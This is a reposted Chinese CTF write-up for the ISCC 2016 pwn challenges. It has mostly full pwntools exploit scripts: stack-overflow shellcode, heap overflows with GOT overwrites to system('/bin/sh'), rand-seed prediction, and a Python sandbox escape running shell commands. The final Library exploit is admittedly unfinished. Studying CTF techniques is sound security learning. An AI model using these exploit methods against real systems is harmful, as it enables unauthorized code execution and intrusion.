# iscc2016 pwn部分writeup

转载

donghao1976 于 2016-05-25 22:21:00 发布 117 收藏
文章标签： python shell c/c++
原文链接：http://www.cnblogs.com/Joe-Z/p/5528762.html


一.pwn1

简单的32位栈溢出，定位溢出点后即可写exp

```
gdb-peda$ r
Starting program: /usr/iscc/pwn1
C'mon pwn me : AAA%AAsAABAA$AAnAACAA-
AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAk
AAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%
(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41632541 ('A%cA')
EBX: 0xb7fb6000 --> 0x1a5da8
ECX: 0xb7fb7884 --> 0x0
EDX: 0x1
ESI: 0x0
EDI: 0x0
EBP: 0xbffff478 --> 0x0
ESP: 0xbffff45c --> 0x8048607 (mov    eax,0x0)
EIP: 0x41632541 ('A%cA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41632541
[------------------------------------stack-------------------------------------]
0000| 0xbffff45c --> 0x8048607 (mov    eax,0x0)
0004| 0xbffff460 --> 0x80486c1 --> 0x1007325
0008| 0xbffff464 --> 0x804a060 ("AAA%AAsAABAA$AAnAACAA-
AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAk
AAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
0012| 0xbffff468 --> 0x804861b (add    ebx,0x19b9)
0016| 0xbffff46c --> 0xb7fb6000 --> 0x1a5da8
0020| 0xbffff470 --> 0x8048610 (push   ebp)
0024| 0xbffff474 --> 0x0
0028| 0xbffff478 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41632541 in ?? ()
```

shellcode保存到bss段上，然后ret返回即可：

```
#!/usr/bin/env python
from pwn import *

#p= process('./pwn1')
p=remote('101.200.187.112',9004)

ret = 0x0804a060
ppr=0x0804866e

buf =  ""
buf += "\x89\xe0\xdd\xc7\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x70\x6a\x74\x4b\x62"
buf += "\x78\x5a\x39\x72\x72\x62\x46\x35\x38\x46\x4d\x42\x43"
buf += "\x4b\x39\x69\x77\x43\x58\x56\x4f\x54\x33\x45\x38\x37"
buf += "\x70\x63\x58\x54\x6f\x45\x32\x62\x49\x30\x6e\x4c\x49"
buf += "\x6b\x53\x71\x42\x5a\x48\x73\x38\x75\x50\x47\x70\x43"
buf += "\x30\x74\x6f\x65\x32\x50\x69\x50\x6e\x66\x4f\x54\x33"
buf += "\x32\x48\x43\x30\x42\x77\x56\x33\x6c\x49\x38\x61\x78"
buf += "\x4d\x6f\x70\x41\x41"


payload = buf + "A" * (256 - len(buf)) + p32(ret)
p.recvuntil(":")
p.send(payload)
#pwnlib.gdb.attach(p)
p.interactive()
```

这里有个坑点就是shellcode的截断问题，在exp-db上找了好多个都执行不了最后好友提醒用msf生成吧，过程如下：

```
msf > use linux/x86/exec
msf payload(exec) > set CMD /bin/sh
CMD => /bin/sh
msf payload(exec) > generate -b '\x00\xff\x0b' -t py
```

## 二.encrypt

这是个堆溢出，由于pwn经验很少，做出的两道堆溢出花的时间不少，首先定位溢出点：

```
int edit_sub_400B21()
{
  int result; // eax@6
  int v1; // [sp+4h] [bp-Ch]@1
  __int64 v2; // [sp+8h] [bp-8h]@1

  printf("Give me message id :");
  v1 = gets_sub_400BE7();
  v2 = qword_6020B0;                            // v2指向数据内存块
  while ( v1 && v2 )
  {
    v2 = *(_QWORD *)(v2 + 8);
    --v1;
  }
  if ( v2 )
  {
    printf("Input message :");
    read(0, (void *)(v2 + 16), 0x78uLL);        // 从原数据块偏移16字节处可读入120字节，堆溢出
    result = puts("Edit successfully!");
  }
  else
  {
```

程序会调用一个fastcall执行加密操作，通过溢出可以控制call指针，但是参数会有限制，不过没关系，经过调试，用puts地址覆盖，打印出来的就是setbuf的地址，然后就可计算atoi和system地址，atoi的got地址覆盖堆头索引指针，然后edit的时候可任意修改，代码如下：

```
from pwn import *
import pwnlib
io=process('./encrypt')
#io=remote('101.200.187.112',9005)
def create(message):
    global io
    print io.recvuntil('4. Exit.\n')
    io.sendline('1')
    print io.recvuntil('Input your message :')
    io.sendline(message)
    print io.recvuntil('(1.No,2.Xor):')
    io.sendline('2')
    return
def edit(id,message):
    global io
    print io.recvuntil('4. Exit.\n')
    io.sendline('3')
    print io.recvuntil('Give me message id :')
    io.sendline(id)
    print io.recvuntil('Input message :')
    io.sendline(message)
    return
def encrypt():
    global io
    print io.recvuntil('4. Exit.\n')
    io.sendline('2')
    print io.recvuntil('Give me message id :')
    io.sendline('1')
    return

def main():
    atoi_got=0x602060
    b='bbbbbbbbbb'
    puts_addr=0x602018
    d='x'*104+p64(0x602018)
    create('aaaaaaaaaaaa')
    create('bbbbbbbbbbbb')
    edit('1',d)
```

```
    encrypt()
    io.recvuntil('Encrypting your message...\n')
    leak=io.recvuntil('\n').split('\n')[0]
    #print leak
    leak_addr=leak.ljust(8,'\x00')
    print leak_addr
    setbuf_addr=u64(leak_addr)
    #print addr
    elfinfo=ELF('libc.so.6')
    system_offset=elfinfo.symbols["system"]
    setbuf_offset=elfinfo.symbols["setbuf"]
    system_addr=setbuf_addr+system_offset-setbuf_offset
    print "system_addr"+hex(system_addr)
    e='y'*104+p64(0x602060)
    create('cccc')
    create('dddd')
    edit('1',e)
    edit('1',p64(system_addr))
    io.sendline('/bin/sh')
    io.interactive()
    return 0
if __name__ == '__main__':
    main()
```

三.guess

就是一个验证随机数的程序，通过read溢出可覆盖变量控制seed的值，然后rand()值就可以预测

```
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
printf("Input your name : ", 0LL);
read(0, &buf, 0x2CuLL);                         // buf空间0x24, read长度0x2c, 可覆盖v4（4字节）,seed（四字节）
printf("Hello %s\n!", &buf);
srand(seed);
puts("-----------------------------------------");
puts("|  Welcome to online number guessing game. |");
puts("|   Win 100 times and you'll be rewarded   |");
puts("|           Range : [1, 100000]            |");
puts("-----------------------------------------");
while ( (signed int)v6 <= 99 )
{
  printf("Round %d\n", v6);
  v0 = rand();                                  // v0=0xa6381cc
  srand(v0);                                    // srand(0xa6381cc)
  printf("Init random seed OK. Now guess :");
  __isoc99_scanf(4197793LL, &v2);
  v4 = rand() % 0x1869Fu + 1;
  if ( v4 != v2 )
  {
    puts("Wrong! Try again later");
```

由于python和c的rand函数不是相同库，想到的办法就是本地写个c程序生成可控的rand值，然后根据guess程序的算法输出相应的值，然后exp中输入即可打开flag文件，c代码如下：

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
    int i;
        int tmpra;
        int tmprb;
        int v4;
    int out;
    int a;
    unsigned long int seed;
    seed = atol(argv[1]);
    srand(seed);
        a=rand();
        //printf("rand0:%x",a);
        out=(a % 99999) +1;
        printf("%d,",out);
        for(i=0;i<100;i++){
             tmpra=rand();
             //printf("rand1:%x",tmpra);
             srand(tmpra);
             v4=rand() % 99999 +1;
             printf("%d,",v4);
        }
    return 0;
}
```

```
root@kali:/usr/iscc# gcc rand.c -o rand
root@kali:/usr/iscc# ./rand 174293452
80545,9914,27550,91153,83664,86214,7887,18283,53174,61984,11639,73445,333,606
43,26474,44690,21086,28980,5071,67909,48736,55050,69515,81978,43669,93038,811
53,37315,87517,81474,97252,39090,1696,51171,76214,73536,80801,95522,19591,940
50,47416,84329,44491,71757,94530,18345,14566,95614,85330,45965,65491,97981,75
077,43330,17867,99610,52953,83200,92236,50106,4908,98370,75042,31289,23534,57
41,73297,96930,96565,55497,75901,69488,9730,24451,20904,88186,89446,34242,574
87,22677,18298,85854,89419,12111,6258,51648,47335,3800,92937,58647,81683,3831
5,67822,22967,2731,95707,52191,53909,98160,48842,58249,root@kali:/usr/iscc#
```

```
from pwn import *
from time import time

#p=process('./guess')
p=remote('101.200.187.112',9001)
p.recvuntil("name :")
p.send('a'*44+'\n')

#seed=0xa6381cc
#rand=0x44236095
input=
[80545,9914,27550,91153,83664,86214,7887,18283,53174,61984,11639,73445,333,60643,26474,44690,21086,28980,507
1,67909,48736,55050,69515,81978,43669,93038,81153,37315,87517,81474,97252,39090,1696,51171,76214,73536,80801
,95522,19591,94050,47416,84329,44491,71757,94530,18345,14566,95614,85330,45965,65491,97981,75077,43330,17867
,99610,52953,83200,92236,50106,4908,98370,75042,31289,23534,5741,73297,96930,96565,55497,75901,69488,9730,24
451,20904,88186,89446,34242,57487,22677,18298,85854,89419,12111,6258,51648,47335,3800,92937,58647,81683,3831
5,67822,22967,2731,95707,52191,53909,98160,48842,58249]

for i in range(0,100):
    p.recvuntil("Now guess :")
    p.send(str(input[i])+'\n')
p.interactive()
```

```
root@kali:/usr/iscc# python guess.py
[+] Opening connection to 101.200.187.112 on port 9001: Done
[*] Switching to interactive mode
$
Correct!
Congratz! Now here is what you want:flag{1a28e5ea63f246745db921f924f3cf4b}
[*] Got EOF while reading in interactive
```

四.pyclac

这题不需要写exp,nc连接即可，然后就是想办法执行系统命令，先试下过滤的参数，发现os，open，等过滤了，又没办法直接导包，一开始想到eval绕过滤，然后去openflag文件，本地成功了，远程却没有open功能，没有包的原因吧，所以还得执行系统命令才行，os和subprocess的包没有权限导入，commans能行所以姿势是这样：__import__('commands').getoutput("ls")，__import__('commands').getoutput("cat flag")

五.bitshop

ida得知editshoppingnote的地方存在堆溢出，可覆盖到第0块的堆头

```
__int64 note_sub_400DBF()
{
  __int64 v0; // ST08_8@1

  v0 = *MK_FP(__FS__, 40LL);
  printf("Input shopping note :");
  read(0, (char *)qword_602100 + 4, 0x78uLL);   // 可读入120字节
  puts("Shopping note recorded!");
  return *MK_FP(__FS__, 40LL) ^ v0;
}
```

```
__int64 show_sub_400887()
{
  int i; // [sp+4h] [bp-Ch]@1
  __int64 v2; // [sp+8h] [bp-8h]@1

  v2 = *MK_FP(__FS__, 40LL);
  printf("Hello %s\n", 6299872LL);              // 0x6020e0 32字节溢出可打印0x602100处的值
  puts("Below is the things in your cart: ");
  for ( i = 0; *(_DWORD *)qword_602100 > i; ++i )
  {
    if ( *(&ptr + i) )
    {
      printf("Name : %s\n", (char *)*(&ptr + i) + 12);
      printf("Comment : %s\n", *(_QWORD *)*(&ptr + i));
    }
  }
  return *MK_FP(__FS__, 40LL) ^ v2;
}
```

一开始思路错了，想用dwshoot去doublefree，没成功，gdb调了很久才发现可以修改堆头指针，于是根据fastbin的原理，溢出控制fd指针的方法可以任意内存读写，接下来就类似于encrypt，修改atoi的地址为system拿shell。

```
from pwn import *
import pwnlib

#io=process('./bitshop')
io=remote('101.200.187.112',9002)

def add(len,name,content):
    global io
    print io.recvuntil('Your choice $')
    io.sendline('1')
    print io.recvuntil('length:')
    io.sendline(len)
    print io.recvuntil('comment:')
    io.sendline(content)
    print io.recvuntil('name:')
    io.sendline(name)

    return
def edit(id,len,content):
    global io
    print io.recvuntil('Your choice $')
    io.sendline('2')
    print io.recvuntil(':')
    io.sendline(id)
    print io.recvuntil(':')
    io.sendline(len)
    print io.recvuntil('Input comment :')
    io.sendline(content)
    return
def edit_note(note):
    global io
    print io.recvuntil('Your choice $')
    io.sendline('4')
    print io.recvuntil('note :')
    io.sendline(note)
    return
def remove(id):
    print io.recvuntil('Your choice $')
    io.sendline('3')
    print io.recvuntil('id :')
    io.sendline(id)
```

```
    return
def view():
    print io.recvuntil('Your choice $')
    io.sendline('5')
    print io.recv()
    return
def main():
    io.recvuntil('plz input your name:')
    io.sendline('a'*33)
    print io.recvuntil('Your choice $')
    io.sendline('5')
    io.recvuntil('a'*32)
    leak=io.recvuntil('\n').split('\n')[0]
    leak_addr=leak.ljust(8,'\x00')

    print leak_addr
    print hex(u64(leak_addr))
    ptr=u64(leak_addr)
    print hex(ptr)
    atoi_got=0x602088
    payload1='a'*0x5c+p64(0)+p64(0x51)+p64(atoi_got)+p64(0x51)

   #......leak atoi_got
    add('64','a'*10,'a'*4)
    add('64','b'*10,'b'*4)
    remove('1')
    remove('0')
    #pwnlib.gdb.attach(io)
    add('64','c'*10,'cccc')
    edit_note(payload1)
    #pwnlib.gdb.attach(io)
    #add('64','d'*10,p64(atoi_got))
    view()
    io.recvuntil('Comment : ')
    atoi=io.recvuntil('\n').split('\n')[0]
    print str(atoi)
    atoi_add=atoi.ljust(8,'\x00')
    atoi_addr=u64(atoi_add)
    print atoi_addr

    #change got
    elfinfo=ELF('libc.so.6')
    system_offset=elfinfo.symbols["system"]
    print system_offset
    atoi_offset=elfinfo.symbols["atoi"]
    print atoi_offset
    system_addr=atoi_addr+system_offset-atoi_offset
    #pwnlib.gdb.attach(io)
    print hex(system_addr)
    #pwnlib.gdb.attach(io)
    edit('2','32',p64(system_addr))

    io.send('/bin/sh\n')
    io.interactive()
if __name__ == '__main__':
    main()
```

五.library

这个没有成功拿shell，c++程序的pwn的writeup比较少，搜到了某大牛的zctf pwn500：http://www.cnblogs.com/wangaohui/p/5211672.html，虽然没能依葫芦画瓢，但还是受益匪浅，记录下自己的分析过程和思路。

add_book可以多添加设定的size一个，所以溢出8字节到下一堆头，调试后发现可以泄露libc地址和堆地址，想到的方法是：

1.泄露出libc地址后，修改got，然而got并不能写（为什么呢）

2.又试着在堆块内容里伪造presize，size，fd，bk利用溢出到下一堆块的头部修改下一堆块的presize和size（这里设定category大小为9即时可修改下一堆头的size位，而8时只能溢出到size位），dw-shoot去利用，free前一块后控制指针，然后可以任意编辑cate的头部任意内存读写，这个方法还是没有运用得娴熟，所以没成功，也不知道能不能行得通。

3.将计算好的system地址写到堆内容中，然后修改堆头的虚表指针使其指向保存system的堆地址，然后调用addbook，removebook等fastcall的时候会被劫持调用system函数，写的exp能成功执行system，就是没能想到怎么传/bin/sh。所以最终没能成功做出这题，还是等看大神们是怎么解的吧，这里贴出没成功的代码，以便自己以后参考对比

```
# -*- coding: utf-8 -*
from pwn import *
import pwnlib
#io=process('./library')
io=remote('101.200.187.112',9003)

def add_cate(len):
    global io
    print io.recvuntil('Your option $')
    io.sendline('1')
    print io.recvuntil('size : ')
    io.sendline(len)

    return
def add_book(cateid,bookid):
    global io
    print io.recvuntil('Your option $')
    io.sendline('2')
    print io.recvuntil(': ')
    io.sendline(cateid)
    print io.recvuntil(':')
    io.sendline(bookid)
    return
def get_id(cateid,bookid):
    global io
    print io.recvuntil('Your option $')
    io.sendline('3')
    print io.recvuntil(': ')
    io.sendline(cateid)
    print io.recvuntil(': ')
    io.sendline(bookid)
    return
def remove_book(cateid):
    print io.recvuntil('Your option $')
    io.sendline('4')
    print io.recvuntil(': ')
    io.sendline(cateid)
    return
def remove_cate(cateid):
```

```
    print io.recvuntil('Your option $')
    io.sendline('5')
    print io.recvuntil(': ')
    io.sendline(cateid)
    return
def reset_cate(cateid,size):
    print io.recvuntil('Your option $')
    io.sendline('6')
    print io.recvuntil(': ')
    io.sendline(cateid)
    print io.recvuntil(': ')
    io.sendline(size)
    return
def main():


    add_cate('9')
    add_cate('9')
    remove_cate('1')
    reset_cate('0','4')
    get_id('0','1')#以上操作后就能泄露堆地址和虚表地址
    io.recvuntil('Book ID is ')
    heada=io.recvuntil('\n')
    heada=int(heada)
    print heada
    get_id('0','2')
    io.recvuntil('Book ID is ')
    headb=io.recvuntil('\n')
    headb=int(headb)
    print headb
    get_id('0','3') #show got address
    io.recvuntil('Book ID is ')
    headc=io.recvuntil('\n')
    headc=int(headc)
    print headc
    headd=headc-0x380
    heade=headb-0x80
    #pwnlib.gdb.attach(io)
    atoi_got=headc-0xc0

    add_cate('9')
    reset_cate('2','4')
    add_cate('9')
    add_book('2','0')
    add_book('2','0')
    add_book('2','0')
    add_book('2','0')
    add_book('2','0')
    add_book('2','49')
    add_book('2',str(headd))
    add_book('2','8589934594') #200000002
    add_book('2',str(atoi_got))
    get_id('3','0')
    io.recvuntil('Book ID is ')
    atoiaddr=io.recvuntil('\n')
    atoiaddr=int(atoiaddr)
    print atoiaddr
    #pwnlib.gdb.attach(io)

    elfinfo=ELF('/lib/x86_64-linux-gnu/libc.so.6')
```

```
    elfinfo=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    system_offset=elfinfo.symbols["system"]
    print system_offset
    atoi_offset=elfinfo.symbols["atoi"]
    print atoi_offset
    system_addr=atoiaddr+system_offset-atoi_offset
    print system_addr
    #pwnlib.gdb.attach(io)

    #pwnlib.gdb.attach(io)

    remove_book('2')
    remove_book('2')


    add_book('2','4')
    add_book('2',str(heade))
    #pwnlib.gdb.attach(io)
    add_book('3',str(system_addr))
    add_book('3',str(system_addr))
    add_book('3',str(system_addr))
    add_book('3',str(system_addr))
    remove_book('2')
    remove_book('2')
    remove_book('2')
    add_book('2',str(heade))
    add_book('2',' 12884901892 ')
    add_book('2','  29400045130965551')#/bin/sh

    add_book('3','  29400045130965551  ')
    #pwnlib.gdb.attach(io)


    io.interactive()
    return 0
if __name__ == '__main__':
    main()
```

转载于:https://www.cnblogs.com/Joe-Z/p/5528762.html